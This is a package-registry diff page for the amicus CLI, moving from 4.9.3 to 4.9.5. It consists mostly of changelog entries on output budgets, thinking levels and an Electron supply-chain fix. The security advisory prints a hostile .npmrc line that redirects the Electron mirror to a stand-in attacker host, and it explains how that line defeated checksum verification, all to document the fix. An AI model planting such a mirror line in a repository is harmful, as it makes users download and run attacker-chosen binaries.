amicus 4.9.3 → 4.9.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (65) hide show
  1. package/.claude-plugin/plugin.json +1 -1
  2. package/CHANGELOG.md +324 -0
  3. package/README.md +1 -1
  4. package/docs/ROADMAP.md +8 -5
  5. package/docs/architecture-map.md +736 -0
  6. package/docs/configuration.md +165 -26
  7. package/docs/council.md +9 -0
  8. package/docs/doc-system.md +12 -9
  9. package/docs/testing.md +2 -1
  10. package/docs/troubleshooting.md +113 -0
  11. package/docs/usage.md +11 -6
  12. package/package.json +1 -1
  13. package/schemas/model-catalog.schema.json +2 -1
  14. package/schemas/run.schema.json +13 -0
  15. package/scripts/postinstall.js +4 -0
  16. package/skills/sidecar/SKILL.md +1 -8
  17. package/src/cli-handlers-doctor.js +3 -0
  18. package/src/cli-handlers-fanout.js +10 -1
  19. package/src/cli-handlers-resume-continue.js +25 -0
  20. package/src/cli.js +5 -8
  21. package/src/council/briefings-chair.js +4 -2
  22. package/src/council/run-assemble.js +7 -2
  23. package/src/council/run-retry-notes.js +21 -1
  24. package/src/council/run-stages.js +8 -1
  25. package/src/headless.js +125 -7
  26. package/src/mcp-server.js +26 -0
  27. package/src/mcp-tools.js +4 -4
  28. package/src/opencode-client.js +84 -8
  29. package/src/pack/pack-validate.js +3 -0
  30. package/src/session-manager.js +2 -2
  31. package/src/sidecar/continue.js +6 -1
  32. package/src/sidecar/conversation-mirror.js +35 -11
  33. package/src/sidecar/electron-install.js +81 -81
  34. package/src/sidecar/electron-provision.js +179 -0
  35. package/src/sidecar/electron-trust.js +299 -0
  36. package/src/sidecar/fanout-leg-fallback.js +1 -0
  37. package/src/sidecar/fanout-leg.js +10 -2
  38. package/src/sidecar/fanout.js +2 -2
  39. package/src/sidecar/interactive.js +31 -4
  40. package/src/sidecar/models-ceiling-line.js +72 -0
  41. package/src/sidecar/models.js +4 -2
  42. package/src/sidecar/reopen-notices.js +97 -0
  43. package/src/sidecar/reopen-spend.js +3 -2
  44. package/src/sidecar/resume.js +15 -2
  45. package/src/sidecar/session-finalize.js +4 -1
  46. package/src/sidecar/session-utils.js +5 -1
  47. package/src/sidecar/start-metadata.js +1 -1
  48. package/src/sidecar/start.js +10 -5
  49. package/src/sidecar/unzip.js +40 -0
  50. package/src/utils/config.js +33 -12
  51. package/src/utils/curated-models.js +8 -8
  52. package/src/utils/degrade.js +7 -0
  53. package/src/utils/doctor-output-budget-check.js +198 -0
  54. package/src/utils/engine-output-flag.js +105 -0
  55. package/src/utils/engine-variants.js +298 -0
  56. package/src/utils/http-get.js +284 -0
  57. package/src/utils/model-catalog.js +36 -4
  58. package/src/utils/model-ceilings-modelsdev.js +230 -0
  59. package/src/utils/model-fetcher.js +12 -36
  60. package/src/utils/model-output-limit.js +21 -13
  61. package/src/utils/output-length.js +90 -0
  62. package/src/utils/result-schema.js +7 -2
  63. package/src/utils/spend-ledger.js +5 -1
  64. package/src/utils/thinking-validators.js +27 -80
  65. package/src/utils/validators.js +2 -3
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amicus",
3
- "version": "4.9.3",
3
+ "version": "4.9.5",
4
4
  "description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
5
5
  "author": {
6
6
  "name": "Christian Wagner"
package/CHANGELOG.md CHANGED
@@ -3,6 +3,330 @@
3
3
  All notable changes to Amicus are documented here. Format follows
4
4
  [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow semver.
5
5
 
6
+ ## [4.9.5] - 2026-09-07
7
+
8
+ *A repository you cloned could choose which bytes became your Electron.*
9
+
10
+ npm exports an `.npmrc` key it does not recognise to every child process it spawns, so a repository
11
+ containing one line — `electron_mirror=http://attacker.example/evil/` — reaches `npx -y amicus@latest`
12
+ as `npm_config_electron_mirror`. `@electron/get` reads that name **above** its own default
13
+ (`artifact-utils.js`), and validates the download against a `SHASUMS256.txt` fetched from the *same*
14
+ redirected host, so the checksum verified the attacker's file against the attacker's checksum. Amicus
15
+ passed no digest of its own. Amicus's own skills, troubleshooting page and Claude Code registration
16
+ all invoke it as `npx -y amicus@latest`, whose npm prefix is whatever directory you are sitting in.
17
+ Amicus then launches the extracted binary for the GUI. Every link was measured, end to end.
18
+
19
+ ### Security
20
+
21
+ - **The Electron artifact is now pinned to the digest Electron publishes, on both routes (#236).**
22
+ Four controls, each independently testable:
23
+ - **The download carries `checksums`**, read from `checksums.json` inside the Electron npm package —
24
+ the same anchor Electron's own installer uses. With a digest supplied, `@electron/get` writes a
25
+ **local** `SHASUMS256.txt` and never fetches one, so a redirected mirror can still serve bytes but
26
+ they must match what Electron published. This is the control that breaks the chain.
27
+ - **A cached artifact is hashed before it is extracted.** That route runs *first* — on every
28
+ `npm install -g amicus`, on first GUI use, and on `doctor --fix` — and previously accepted any
29
+ file with the right name from any subdirectory of a cache root, with no verification of any kind.
30
+ A mismatch is refused and the file removed; the removal is fenced through the repo's own realpath
31
+ fence and a basename check, so it is strictly narrower than the unconditional delete it replaces.
32
+ - **The Electron installer's environment is scrubbed.** The last-resort path spawns Electron's own
33
+ `install.js`, which honours the mirror *and* a remote-checksum override; without this, pinning the
34
+ in-process download would merely have funnelled an attacker into an unpinned downloader. Every
35
+ repo-plantable `npm_config_electron_*` / `npm_package_config_electron_*` name is removed —
36
+ case-insensitively, because a repo `package.json` `config` key reaches the child with its case
37
+ preserved — along with `npm_config_platform` and `npm_config_arch`, which choose *which* artifact
38
+ that installer fetches. `ELECTRON_INSTALL_PLATFORM` / `_ARCH` are pinned to amicus's own resolution.
39
+ - **An archive refused for path traversal is terminal.** `robustExtract` treated extract-zip's own
40
+ "invalid relative path" / "absolute path" refusals exactly like a stall: clean the directory and
41
+ re-run the same archive through an OS extractor amicus does not control. Such a refusal now throws
42
+ `UNZIP_UNSAFE_ARCHIVE`, is not retried at either call site, and the file is kept as evidence rather
43
+ than deleted. A **stall** still falls back — that fallback is the Node-24 workaround this module
44
+ exists for, and a test pins the distinction.
45
+
46
+ The digest anchor is read from the **running amicus's own** Electron package in preference to the
47
+ directory being repaired. That is load-bearing rather than tidy: `doctor --fix` hands the repair a
48
+ directory found by scanning npx caches, and reading the digest out of the same directory the bytes
49
+ came from would have let it vouch for itself — measured, before the fix, as `repaired: true` over
50
+ bytes reading `POISONED-BYTES`.
51
+
52
+ One documented escape hatch, `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1`, exists for the one legitimate
53
+ case (you deliberately run a rebuilt Electron). It is a bare environment name, which a repository
54
+ cannot plant; it accepts a contradicting cached artifact and drops the pin on a download; it
55
+ re-enables nothing else. Bare `ELECTRON_MIRROR` stays honoured — that spelling is not
56
+ repo-injectable, so it carries the machine owner's intent, and the digest is enforced either way.
57
+
58
+ - **What this does NOT close, stated plainly.** `registry=` in a hostile `.npmrc` dominates every
59
+ control above: under `npx`, amicus itself, the Electron tarball and its `checksums.json` would all
60
+ come from the attacker, and the pin would then faithfully vouch for attacker bytes. Electron's own
61
+ npm postinstall runs with the hostile environment live, before any amicus code executes. Nothing
62
+ verifies `dist/electron.exe` at launch — this closes acquisition, not custody. Extraction output is
63
+ still not fenced, and the extractor still reports success when any file lands. And where **no**
64
+ published digest covers an artifact — an Electron package with no `checksums.json`, or one whose own
65
+ metadata names a version amicus holds no entry for — there is nothing to contradict: those bytes are
66
+ extracted and marked `unverified` rather than refused, because refusing would strand every older
67
+ Electron in a re-download loop. Run `npx -y amicus@latest` from a directory you trust.
68
+
69
+ ### Fixed
70
+
71
+ - **Three advisories that reached the published dependency tree.** `fast-uri` (two high, SSRF) via
72
+ `@modelcontextprotocol/sdk` → `ajv`, and `qs` (moderate) via the same SDK → `express`. Fixed by a
73
+ targeted update of exactly those two packages and their own closure — five lockfile entries — rather
74
+ than `npm audit fix`, which wanted to move 31 packages, almost all of them puppeteer's dev tree
75
+ including a major. `extract-zip`, the remaining production-tree advisory, has no fixed version at
76
+ any release and is addressed by the trust work above instead of by a bump.
77
+ - **Two records that asserted things that were not true.** The released 4.9.4 notes said "Twenty-four
78
+ probe rows" and "the full 61-case matrix", both stale at the tag — M23 joined the M group during
79
+ council #235 round 3 without the matrix being re-run, so the group is twenty-five rows and the filed
80
+ matrix is 62 cases, which the BACKLOG already said while the CHANGELOG contradicted it. And the
81
+ backlog's own audit filing recorded `extract-zip` as dev-only "via puppeteer"; it is a direct
82
+ production dependency, and calling it dev-only is exactly the reasoning that would have let it sit.
83
+ - **`docs/ROADMAP.md`'s status lines are now pinned in the release commit.** They ship in the npm
84
+ tarball and they are a factual claim about the current version, but they were updated in the
85
+ post-ship pass, which runs *after* the tag — so every published package has named the previous
86
+ release. `v4.9.4`'s roadmap says "v4.9.3"; `v4.9.3`'s says "v4.9.0". Verified across three tags.
87
+
88
+ ## [4.9.4] - 2026-09-07
89
+
90
+ *The effort level was never on the wire, and the budget stopped at the routes the catalog could clamp.*
91
+
92
+ Every `--thinking <level>` Amicus has ever sent went out as a `reasoning` object the engine's prompt
93
+ endpoint does not read — a silent no-op on every run since the flag existed, measured on the wire
94
+ (probe F1). It now goes out as the engine's `variant` field, checked first against what the engine's
95
+ own catalogue declares for the model, so a level the model does not declare is refused before
96
+ anything is sent instead of being dropped in silence. Beside it, `outputBudget` becomes
97
+ bidirectional and reaches every route but the direct `openai` one, whose request carries no
98
+ output-limit field at all; direct-provider rows gain real context and ceiling numbers from
99
+ models.dev; and the death that opened #218 — a leg that spends its whole reservation on reasoning
100
+ and finalizes with no answer text — is named `OUTPUT_LENGTH` rather than passing as a completion
101
+ with an empty summary. Every claim here was measured by a zero-spend wire probe that plays the
102
+ provider, so the pinned engine's outbound fields can be read under each shape Amicus can produce.
103
+
104
+ ### Added
105
+
106
+ - **Direct-provider output ceilings (#218 P3).** `amicus models --refresh` now fills
107
+ `contextLength` / `maxOutputTokens` for any `anthropic`, `openai`, `google`, `deepseek` or
108
+ `openrouter` row still missing a number, from the keyless [models.dev](https://models.dev)
109
+ index, and lifts Google's own `outputTokenLimit` first-party. The provider's own number
110
+ always wins — Google's own ceiling and OpenRouter's own value included; models.dev fills
111
+ only fields the provider left empty or unusable, never a zero, and `openrouter/openrouter/*`
112
+ routers and local rows are never filled at all. The models.dev call is keyless, bounded by a
113
+ 10 s timeout, and its failure is reported on the refresh line rather than hidden — including
114
+ a 200 that parses but carries no recognised vendor limits, which is a `bad-shape` failure
115
+ and not a silent no-op. It is also skippable both ways: a refresh where every candidate row
116
+ already carries both numbers never makes the call at all, and the new top-level `config.json`
117
+ key **`modelsDevCeilings: false`** opts out of contacting models.dev entirely (the anthropic /
118
+ deepseek direct rows then carry no ceiling in the Amicus catalog and are clamped by the engine's
119
+ own catalog instead, and the direct openai rows send no output reservation at all regardless
120
+ — M5/M13/M22; Google publishes its own ceiling and OpenRouter rows keep OpenRouter's). The
121
+ refresh prints the outcome (`Ceilings: …`), naming which of those happened, and `--json`
122
+ carries it as `ceilingEnrichment`. Effect: no request changes with `outputBudget` unset;
123
+ direct-provider rows now carry context and ceiling numbers (visible in `amicus models`), and
124
+ `outputBudget` can clamp the direct `google` / `deepseek` routes once the catalog is refreshed
125
+ — which 4.9.3 documented as impossible because those lists "don't publish one". The direct
126
+ `openai` route is the exception, measured in PR 4 (probe M5/M13/M22): the engine drives that
127
+ provider through the Responses API, whose request carries no output-limit field at all, so
128
+ neither the descriptor nor the flag changes what goes out there and a budget never reaches it;
129
+ `doctor` lists such routes apart. Direct `anthropic/*` was held out of clamping by the council
130
+ review of PR #230 until the thinking-budget interaction was measured; PR 2 measured it and
131
+ lifted the hold-out — see the next bullet.
132
+ - **`outputBudget` now works in both directions (#218 PR 2).** A budget above the engine's 32,000
133
+ default is honoured: Amicus starts every engine with `OPENCODE_EXPERIMENTAL_OUTPUT_TOKEN_MAX` set to
134
+ the budget — around the spawn only, restored before anything is awaited, never written to the
135
+ caller's shell; a value you exported yourself is honoured untouched when no budget is set — so
136
+ every leg reserves `min(budget, ceiling)` wherever a ceiling is known (every leg but a direct
137
+ `openai` one — that route carries no reservation field, see the previous bullet), by the Amicus
138
+ catalog through the per-model descriptor or else by the engine's own, and a model neither knows
139
+ receives the budget as-is, exactly as it received the raw 32,000 before. Direct `anthropic/*`
140
+ routes are no longer held out: the probe measured the descriptor lowering the reservation there
141
+ (K1), a thinking variant's budget added on top (K2: 8,000 + 16,000 = 24,000) and the sum clamped
142
+ to the model's real ceiling (K3/K4/K10), so no budget can push a thinking leg over it. Thirteen
143
+ new probe rows (K1–K13) pin every shape this ships, and the full 32-case matrix is filed in the
144
+ BACKLOG. New `doctor` row **`output-budget`** says what the value reaches — routes the catalog can
145
+ clamp, routes it cannot, an ambient flag honoured or overridden — and flags the one silent failure
146
+ the engine has here: a malformed budget or flag, on which it falls back to 32,000 without a word.
147
+ - **`scripts/probe-max-tokens.js`.** A zero-spend wire probe: a local capture server plays the
148
+ provider so the pinned engine's outbound `max_tokens` / `reasoning` / `thinking` fields can be
149
+ read under every descriptor, env-flag and prompt shape amicus can produce. Re-run after every
150
+ engine bump.
151
+ - **The "Mode 2" death is named (#218 PR 3).** A leg whose provider stopped at the `max_tokens`
152
+ reservation before any answer text on the message it finalized — the whole reservation spent on
153
+ reasoning; a tool loop's earlier text or promoted reasoning does not count — now ends `error`
154
+ with a reason starting `OUTPUT_LENGTH:` that carries the engine's own reasoning/output counts for
155
+ the leg and the `outputBudget` in force (or the ambient `OPENCODE_EXPERIMENTAL_OUTPUT_TOKEN_MAX`
156
+ the engine was started with, when no budget is set), and the poll loop exits the moment the engine
157
+ finalizes such a message instead of waiting out the no-output backstop. The engine records `finish`
158
+ on the finalized assistant message (measured on both provider families for a length stop); it now
159
+ rides every leg document (`metadata.json`, `run.json`, the wave doc), the spend-ledger row
160
+ (`finish`, present only when recorded) and solo session metadata. A review that was cut at the
161
+ reservation but still answered is kept, announced as a `Note:` on the new `output-truncated` channel
162
+ (`kind: "info"` — never a loss, never an exit-code change), and marked as cut in its chair-packet
163
+ header. Five probe rows (L1–L5) measured the shapes: `finish: 'length'` on both provider families;
164
+ reasoning subtracted from completion on OpenAI-compatible routes but no split on direct Anthropic;
165
+ a `reasoning` part and no `text` part when the reasoning was visible; and a descriptor above the
166
+ engine's own ceiling clamped to that ceiling with no thinking variant in play. The probe's capture
167
+ server now answers with a per-case body and speaks the Anthropic messages SSE, so the direct rows
168
+ record the assistant message instead of an APIError; the full 37-case matrix is filed in the
169
+ BACKLOG.
170
+ - **`--thinking` reaches the engine (#218 PR 4).** Every `--thinking <level>` amicus ever sent went
171
+ out as a `reasoning` object the engine's prompt endpoint does not read — a silent no-op on every
172
+ run (probe F1). It now goes out as the engine's `variant` field (F2, M1, M12), and it is checked
173
+ first against what the engine's own catalogue declares for the model (`/config/providers`): a
174
+ level the model does not declare is refused before anything is sent (`VARIANT_UNDECLARED`, naming
175
+ the declared set — the engine would have dropped it silently and still echoed it on the message,
176
+ F3/M7); a declared level whose thinking budget the direct Anthropic route adds on top of the
177
+ reservation (Haiku 4.5 — M2: 24,000 + 16,000 = 40,000; Opus 4.5 declares the same shape, M0) is
178
+ refused when `outputBudget` is below the model's ceiling, and also when no ceiling is declared
179
+ anywhere — there the sum has no clamp to land under (`VARIANT_OVER_BUDGET`, with the reservation
180
+ the leg would have made and the remedies for each case); a model the engine's catalogue does not
181
+ know within a five-second wait — its bundled catalogue predates the model and the models.dev fetch
182
+ has not landed yet, the state of a cold `~/.cache/opencode` (M0 cold vs M12 warm) — gets the level
183
+ unverified, logged and marked `variantUnverified: true` on the leg document. The same note is
184
+ printed as a `Notice:` line on stderr, because the structured warning alone is dropped at the
185
+ default log level. Whether a level counts as declared does not depend on `outputBudget` — the
186
+ `VARIANT_OVER_BUDGET` fit above is the only refusal a budget can add: `/config/providers` returns a
187
+ model's row with the catalogue's own release date, family, display name, pricing, capabilities and
188
+ variants, and Amicus writes only `limit` into it, so a row carrying any of those is a
189
+ declaration (an empty variants set is a refusal) and a row carrying none of them is Amicus's own
190
+ descriptor (unknown — the bounded wait, then an unverified send). That dump is the engine's MERGED
191
+ view of its own catalogue and your `opencode.json`, so model metadata you declare yourself reads as
192
+ a declaration too. Measured as record M23 and
193
+ pinned by a keyless engine canary. The wait polls every 500 ms. The ceiling that
194
+ `VARIANT_OVER_BUDGET` fit judges against is Amicus's own catalog's row for
195
+ the model — its `maxOutputTokens`, the number a budget-derived descriptor is clamped TO, not the
196
+ value that descriptor carries — because the engine echoes that descriptor back once a budget is
197
+ set (M3); for a model that catalog has no row for it is the dump's own value, the engine's own
198
+ ceiling (K5/K12). `docs/configuration.md` records what a divergence from the engine's own ceiling
199
+ costs in each direction: a row above it can refuse a leg the engine would have clamped under the
200
+ budget, and a row below it goes silent on one it never judged. A refusal is a zero-spend leg death
201
+ through the usual channel (`error` with the reason; a fanout's other legs run; `start --no-ui`
202
+ exits 1). The MCP `amicus_start` tool's in-process (shared-server) path carries the level too —
203
+ its `thinking` had been argv-only, which that path never read. A backstop window that fires while
204
+ a leg is still inside its declaration wait (bounded at five seconds; one read on a warm, declared
205
+ model) ends the leg `NO_OUTPUT_BACKSTOP` before anything is sent (an abandon signal stops the
206
+ orphaned send); an unreadable `/config/providers` (a non-2xx, or a read that throws — a transport
207
+ error, a dead engine) sends the level unverified after ONE read, and the log line says so. `max`
208
+ joins the vocabulary (`none`, `minimal`, `low`, `medium`, `high`, `xhigh`, `max` — the levels the
209
+ curated routes declare between them, M0). The level SENT rides the run document (`variant`), the
210
+ spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-five probe
211
+ rows (the M group; M18-M21 driven through amicus's own `sendPrompt`) measured every shape this
212
+ ships — the full 62-case matrix is filed in the BACKLOG — and CI's keyless job now also runs M1,
213
+ M2, M10b and M17. Council seats have no effort knob in this release (filed as the owner's
214
+ decision).
215
+
216
+ ### Changed
217
+
218
+ - **A configured `outputBudget` no longer weakens the `--thinking` guard (#218 PR 4, council #235
219
+ round 3 C1/B1).** Earlier on this unreleased branch, a model whose `/config/providers` row
220
+ reported no variants was, *with a budget set*, polled for five seconds, reported ambiguous and
221
+ then sent the level unverified — while the same command with no budget refused it at once. What
222
+ flips: a model the engine's own catalogue supplied that declares no variants (`openai/gpt-4o`, and
223
+ the shipped aliases `minimax`, `qwen-coder`, `qwen-flash`) is now refused before anything is sent
224
+ when a budget is set, exactly as it already was without one — and the five-second wait disappears
225
+ with it, so a 12-leg fanout on such a model no longer burns 12 × 5 s before failing. What stops
226
+ being sent is a level nobody could ever use: probe F3/M7 measured an undeclared variant as a
227
+ certain no-op on the wire, echoed back on the assistant message. The no-budget path is unchanged
228
+ except for four zero-context openai image rows (`chatgpt-image-latest`, `gpt-image-1.5`,
229
+ `gpt-image-1-mini`, `gpt-image-2`), which are now refused rather than silently no-op'd. A model
230
+ the engine has NOT learned yet is unchanged bit for bit: the bounded wait, then an unverified send
231
+ with `variantUnverified: true` and the `Notice:` line. Under a budget, a stale bundled catalogue
232
+ can now refuse a level the next run accepts — the refusal says so. The `ambiguous` key is gone
233
+ from `sentVariant` (it existed only on this unreleased branch, in no schema or document). C1 is
234
+ not fully closed: its second clause — a genuinely cold direct-Anthropic model with an
235
+ `enabled + budgetTokens` entry still sending `24,000 + 16,000 = 40,000` marked only
236
+ `variantUnverified: true` — survives, because N exists only in the post-spawn dump; the filed
237
+ pre-spawn fit (descriptor = budget − N, proven M17) is the answer and is not built here.
238
+ - **`outputBudget` below 32,000 now reaches every leg but a direct `openai` one (#218 PR 2; the
239
+ openai exception measured in PR 4, M5/M13/M22).** On 4.9.3 a budget applied only to routes whose
240
+ ceiling the catalog knew; rows it could not clamp kept the engine's 32,000. The engine flag now
241
+ carries the budget to those rows too — clamped by the engine's own catalog where it knows the
242
+ model (K5, K12), as-is on a model it does not (J2, K13). A user who set `outputBudget: 8000` on
243
+ 4.9.3 sees those rows reserve 8,000 after upgrading — except a direct `openai` route, which
244
+ carries no reservation field at all. A model neither catalog knows receives a raised budget as-is
245
+ and may be refused by a provider that enforces its ceiling — loudly; `doctor`'s `output-budget`
246
+ row names such routes.
247
+ - **A length-stopped leg with no answer text is an error, not a completion (#218 PR 3).** On 4.9.3
248
+ such a leg ended `complete` with an empty summary (a council dropped it as "ended 'complete' with
249
+ no usable output"; `amicus start --no-ui` exited 0 with "No Output") or, when the provider streamed
250
+ its reasoning, `complete` with the *thinking* as the review — adjudicated as one. It now ends
251
+ `error` with the `OUTPUT_LENGTH:` reason — decided on the message the engine finalized, so a tool
252
+ loop's earlier text neither hides the death nor, once promoted reasoning is replaced by the
253
+ answer, pollutes a kept review — and a council treats it as any other dead leg: the once-only
254
+ Stage-1 retry fires and the run degrades if the retry dies too. For the no-output shape that retry
255
+ is unchanged from 4.9.3; for the promoted-thinking shape it is new — 4.9.3 counted that leg as a
256
+ review and never retried it, so such a seat now bills one more reservation. `start --no-ui` exits
257
+ 1 with the reason. The ledger row for such a leg reads `status: "error"` where it read `complete`.
258
+ - **A `--thinking` level the model does not declare is refused, not adjusted (#218 PR 4).** On 4.9.3
259
+ the CLI rewrote `minimal` to `low` and any other unsupported level to `medium` from a static
260
+ per-model table (gpt-5 "without minimal", gemini "with everything") with a warning, then sent the
261
+ result as a field the engine never read; the table is gone (a static guess that the engine's
262
+ catalogue confirms on one row and contradicts on the other: both exclude `minimal` for gpt-5,
263
+ while the table gave gemini `none` and `xhigh` and gemini-3.6-flash declares neither — M0), the
264
+ CLI checks only the vocabulary, and the model's own declaration decides at send time. Solo session
265
+ metadata records `thinking` only when one was requested — it used to record `medium` for every
266
+ run, including runs that sent nothing. That stamp landed on EVERY session's metadata, **a fanout
267
+ leg's included**, so a pack saved with `pack save --from-run` on 4.9.3 or earlier copied that
268
+ `medium` into its `options.thinking` on **fanout packs as well as solo ones** — where it then
269
+ applies to every seat of the bench at once. Such a pack now SENDS it: refused on every model that
270
+ does not declare `medium` (kimi-k3, Haiku 4.5, deepseek-v4-pro among the curated routes), and on
271
+ a model that DOES declare it the level really goes out — so a pack that was inert can now change
272
+ a run's cost and behaviour. Delete the key or re-save the pack from a run that requested a level.
273
+ MCP `thinking` parameters no longer claim "Default: medium": omitted means nothing is sent and the provider's
274
+ default effort governs (on the direct OpenAI route the engine sends `medium` itself, M13). The one
275
+ case the removal makes worse is the row the table got right: `--thinking minimal` on a gpt-5 route
276
+ used to be rewritten to `low`, a level the engine really declares, and is now refused — loudly,
277
+ before anything is sent, which is the trade this release makes deliberately.
278
+ - `src/utils/http-get.js` now owns the always-resolves HTTPS GET that `model-fetcher.js` carried
279
+ inline; the failure vocabulary (`timeout` / `http-status` / `network-error` / `parse-error`) gains
280
+ one reason, `too-large`. A response-stream error mid-body and a synchronous throw from `https.get`
281
+ (a URL it cannot parse) now resolve as `network-error` instead of escaping the promise. Redirects
282
+ are opt-in per call (`followRedirects`, default off, so the keyed provider fetches are unchanged
283
+ and a 3xx stays their terminal `http-status` failure); with it on, up to two `https` redirects are
284
+ followed under one deadline for the whole chain, and a cross-origin hop carries only an allowlist
285
+ of headers (`user-agent`, `accept`, `accept-language`) so no credential can
286
+ follow a `Location` to another host. A redirect to a non-`https` target, one with no `Location`,
287
+ and a third hop are each an `http-status` failure whose `detail` names which, and every one of
288
+ those refusals releases the connection — the response is retired and the live request destroyed —
289
+ so a refused 3xx whose body never ends cannot hold the socket open after the promise has settled. Response bodies are capped at 16 MiB
290
+ (`maxBytes`); an over-size body is destroyed and reported as `too-large` rather than accumulated.
291
+ - CI council bench: `deepseek` moves from `deepseek-v4-pro` to `deepseek-v4-flash-0731` — 1.3M context
292
+ (was 1M), input ~$0.05/M and output ~$0.10/M on OpenRouter (was ~$0.69/M and ~$1.38/M), output
293
+ ceiling 131,072 (was 384,000). Bench-only; the shipped alias table is unchanged. The alias-shadow
294
+ notice now names `deepseek` beside `qwen` as a bench pin that differs from the shipped one.
295
+ - **`amicus continue` / `amicus resume` reject `--thinking` instead of ignoring it (#218 PR 4).**
296
+ The flag parses on every command (the unknown-flag gate is built from the whole usage string), but
297
+ neither handler ever read it and the vocabulary check runs only on `start` — so a level typed on a
298
+ continuation, valid or not, used to exit 0 having done nothing. Both now fail with `BAD_ARGS`
299
+ naming where the level belongs, the same way `--tag` already does. Each also prints a stderr
300
+ `Notice:` when the session being reopened records a level, naming it and saying the leg runs at
301
+ the provider's default — worded as what the metadata RECORDS, since 4.9.3 and earlier stamped
302
+ `medium` on every session typed or not, so an older session's `medium` may be that stamp rather
303
+ than a request. Forwarding a level on `continue` is filed, not built.
304
+
305
+ ### Fixed
306
+
307
+ - **The curated `qwen` alias pointed at a model OpenRouter no longer lists.** Between 2026-09-04 and
308
+ 2026-09-05 both OpenRouter and models.dev renamed `qwen/qwen3.8-max` to `qwen/qwen3.8-max-0902`;
309
+ the #218 PR 2 probe run caught it (a variant sent for the old id went silent, and its ceiling read
310
+ `0/0`). The pin now names the dated id. Found and fixed in PR #231; the CI bench map already
311
+ pinned `qwen3.8-27b` and is unchanged.
312
+ - **`startServer` read `config.json` twice for one budget.** The per-model descriptor and the engine
313
+ flag each called `loadConfig()`; a config write between the two reads could hand the engine a
314
+ descriptor from one budget and a flag from another (bounded — the engine takes the smaller — but
315
+ split). One read now feeds both (#218 PR 3).
316
+ - **CI council read its alias map from the PR's frozen base sha.** `council-review.yml` provisioned
317
+ `.github/amicus-ci-aliases.json` from `github.event.pull_request.base.sha`, which GitHub fixes at
318
+ PR creation — so a bench change merged to `main` afterwards never reached an open PR (PR #232's
319
+ round 3 still reviewed with the pre-#233 map). The map is now read from the base branch name,
320
+ which resolves to its current tip on every run; still never the PR head.
321
+ - **A cancelled council run discarded its spend receipt (#220).** The receipt step was gated on
322
+ `!cancelled()`, so the one path where the cost is least visible — a superseded or hand-cancelled
323
+ run — recorded nothing at all, though the legs it had launched still billed. The receipt now runs
324
+ on `always()`, and a ledger-only artifact fires ahead of it on the cancelled path so the smallest
325
+ upload takes the first claim on the runner's bounded post-cancellation grace; the full evidence
326
+ upload stays `!cancelled()`, because a truncated artifact is worse than none. It is best-effort by
327
+ construction and the step now says so rather than promising a record, and a test pins the
328
+ workflow's ledger path against the engine's own.
329
+
6
330
  ## [4.9.3] - 2026-08-28
7
331
 
8
332
  *Doctor stops vouching for things it never checked.*
package/README.md CHANGED
@@ -455,7 +455,7 @@ $ amicus status demo123 --json
455
455
  "taskId": "demo123",
456
456
  "status": "complete",
457
457
  "elapsed": "5m 0s",
458
- "version": "4.9.3",
458
+ "version": "4.9.5",
459
459
  "model": "google/gemini-2.5-flash",
460
460
  "phase": "terminal"
461
461
  }
package/docs/ROADMAP.md CHANGED
@@ -13,11 +13,14 @@ lives under **Backlog (tracked, not scheduled)** with everything else that is re
13
13
  Nothing about the content changed and no judgment about its value is implied; only its status. When
14
14
  an org buyer and the org to support them exist, it earns a number then.
15
15
 
16
- Amicus is at **v4.9.0** (2026-08-26). Each 4.x rev below leads with the benefit, not the
17
- plumbing.
18
-
19
- **Status:** v4.0 through **v4.9.0** have **shipped** everything on this page is a record of what
20
- landed, not a plan. Composition the scope that
16
+ Amicus is at **v4.9.5** (2026-09-07). Each 4.x rev below leads with the benefit, not the
17
+ plumbing; the patch releases since v4.9.0 carry no section of their own, because each corrected a
18
+ defect rather than adding scope — where one added a surface (v4.9.4's `--thinking` refusals and
19
+ `output-budget` doctor row, v4.9.5's Electron digest gate) it did so to make an existing promise
20
+ true, not to widen it. See `CHANGELOG.md` for what each one contained.
21
+
22
+ **Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.5 patch releases —
23
+ everything on this page is a record of what landed, not a plan. Composition — the scope that
21
24
  carried the number v4.6 here until the degrade-announcement-invariant milestone took the v4.6.0
22
25
  release (2026-08-02) — is now an unscheduled candidate for the next rev, tabled in its own section
23
26
  below (dropped from v4.7, 2026-08-05); its contents are decided at kickoff per the anti-rot rule,